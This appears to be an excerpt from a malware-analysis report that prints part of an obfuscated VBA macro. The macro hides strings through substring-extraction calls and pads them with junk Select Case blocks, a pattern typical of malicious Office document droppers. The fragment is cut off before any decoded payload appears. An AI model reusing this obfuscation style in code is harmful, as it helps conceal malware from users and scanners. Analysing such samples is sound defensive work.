            XptjK = ChrW(AjYoq)
      End Select
SzLmlvaLlp = jAdpK + wTzOst("bEFjL0$f0m5#IkfDz9Q c/        Mr", 3, 11)
Select Case XLjOH
         Case 61875
            BiFvO = Fix(65241)
            bRidn = Int(2292)
         Case 72256
            FWDdzh = kuKATH
            XptjK = ChrW(AjYoq)
      End Select
Select Case imVUwz
         Case 88688
            tniND = Fix(41868)
            nZjdkj = Int(5582)
         Case 1370
            sOdWGn = DYiBSd
            OqrGA = ChrW(HqCcFO)
      End Select
QlHAUwiFjq = wzLzjb + wTzOst("2PvNK4Cz8s    & ouwaQoiZYK DaAvYi6C2", 8, 19)
Select Case imVUwz
         Case 88688
            tniND = Fix(41868)
            nZjdkj = Int(5582)
         Case 1370
            sOdWGn = DYiBSd
            OqrGA = ChrW(HqCcFO)
      End Select
Select Case SbbbXw
         Case 42755
            cFNbk = Fix(92858)
            taTBaw = Int(92329)
         Case 88687
            izjLRS = RShKlh
            ddjGSb = ChrW(dAmLnP)
      End Select
PCnZiwoCj = cLRKfl + wTzOst("$9U3(XatI$3O3sIf     DIVfYF55jhAjj(#wo$7qd", 22, 5)
Select Case SbbbXw
         Case 42755
            cFNbk = Fix(92858)
            taTBaw = Int(92329)
         Case 88687
            izjLRS = RShKlh
            ddjGSb = ChrW(dAmLnP)
      End Select
nwFUafAfWs = AGwkGj + rAmqiRwiVcC + cOihKoiOz + QlHAUwiFjq + dbIHSWj + WpScuo + lFXFn + iIDiji + PCnZiwoCj + wvfjCbosB + SzLmlvaLlp + vbnUJLfAU
Select Case qOBWh
         Case 69362
            XPKGKa = Fix(92362)
            ClMLi = Int(81763)
         Case 46459
            pdSIEw = AdCabE
            oDzDFN = ChrW(zIBmT)
      End Select
End Function
Function wTzOst(ByVal dFNmlLjijIiH As String, ODiRSLWzlbo, bZNBiFAV)
On Error Resume Next
Select Case IFdbiz
         Case 26185
            DlfQo = Fix(91905)
            CpVvMQ = Int(3894)
         Case 13957
            wrhmU = bsZIB
            CEVAr = ChrW(YSBMH)
      End Select
Select Case KMRbs
         Case 54876
            GzIinS = Fix(52112)
            qKnrfu = Int(49126)
         Case 1201
            zuUHdo = jjKbH
            zAwjuH = ChrW(ZiiQNi)
      End Select
Select Case NVbck
…

Open this report in the interactive analyzer, or submit your own file for analysis.